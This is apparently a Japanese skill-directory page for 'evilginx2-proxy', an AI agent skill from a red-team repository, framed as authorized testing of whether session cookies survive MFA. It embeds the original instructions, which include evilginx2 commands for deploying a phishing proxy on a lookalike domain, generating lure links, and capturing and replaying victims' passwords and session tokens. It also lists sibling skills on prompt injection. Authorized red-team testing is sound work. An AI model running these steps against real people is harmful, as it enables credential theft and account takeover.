evilginx2-proxy
できること
このガイドは、セキュリティチームが多要素認証(MFA)のサインイン後にセッショントークンを奪われうるかを確認できるよう、ログインページをプロキシする許可されたテストを扱います。書面による承認のもとで自社のサインイン保護をテストするIDチーム向けです。
使う場面
- ✓許可されたテストで、多要素認証を使っていてもセッションのCookieが盗まれうるかを確認する必要があるとき。
- ✓IDチームが、セッショントークンが機器に紐づいているか、すぐに期限切れになるかを確認したいとき。
- ✓ブルーチームに通知済みで、テストの期間が承認されているとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“多要素認証でログインした後に、私たちのサインインがセッションのCookieを保護しているかをテストしています。許可されたプロキシテストの計画を手伝ってください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはテスト用のログインページのプロキシを設定し、サインイン後にセッショントークンが現れるかを記録します。どの保護が再利用を制限したか、しなかったかを報告します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
evilginx2 Phishlet (AiTM)
When the target enforces MFA, a static fake login page is useless — you need the authenticated session cookie. evilginx2 is an adversary-in-the-middle reverse proxy: the victim authenticates against the real site through your proxy, MFA included, and you capture the resulting session token for replay.
Prerequisites
- evilginx2 in the sandbox; ports 443/53 free.
- A lookalike domain with an A record to the sandbox and NS delegation
so evilginx2 can answer ACME (
lookalike-domain). - The
lure-deconflictionhandshake COMPLETE.
Deploy
# DNS + cert: evilginx manages Let's Encrypt automatically
evilginx2 -p /opt/evilginx/phishlets
# in the evilginx console:
config domain login.acme-portal.example
config ipv4 <sandbox-ip>
phishlets hostname o365 login.acme-portal.example
phishlets enable o365
lures create o365
lures get-url 0 # -> the link you put in the GoPhish email
Authoring a phishlet (when none ships for the target)
A phishlet is a YAML map of the target's auth hosts, the sub_filters
that rewrite the real domain to yours in responses, and the
auth_tokens (which cookies signal a completed login). Capture a
normal login in a proxy, identify the session cookie(s) the app sets
post-MFA, and list them under auth_tokens. Keep ACME challenge paths
off the proxied auth path.
Capture + replay
# evilginx console: list captured sessions
sessions
sessions <id> # shows username, password, and the tokens (cookie JSON)
Import the captured cookie JSON into a clean browser profile / a
Cookie header to ride the authenticated session without
re-triggering MFA.
Evidence
Captured session → Credential node (type session-token) linked to
the User node with the lure id. Save the session JSON under
evidence/phisher/<id>-session.json. Note the estimated token TTL.
OPSEC
- One phishlet per engagement domain; rotate after the engagement.
- The session token is the crown jewel — store ONLY in
evidence/+ the knowledge graph, never anywhere off-box. evilginx_disable_phishlet(phishlets disable o365) returns 502 on a SOC stop request.
よくある質問
多要素認証だけでは十分でないのはなぜですか?
ガイドによると、サインイン後に発行されたセッションのCookieは、紐づけられるか期限切れにならない限り、再利用されうるためです。
防御側は何を確認すべきですか?
トークンの有効期間、機器への紐づけ、新しい場所から再利用されたセッションに対するアラートです。
このテストには承認が必要ですか?
はい。ガイドでは、テストを実行する前に、承認の完了と防御側への通知が必要としています。
詳細
作者による元の説明
Author and deploy an evilginx2 phishlet to reverse-proxy a real login and capture the post-authentication session cookie, defeating MFA via session-token theft.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14115
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。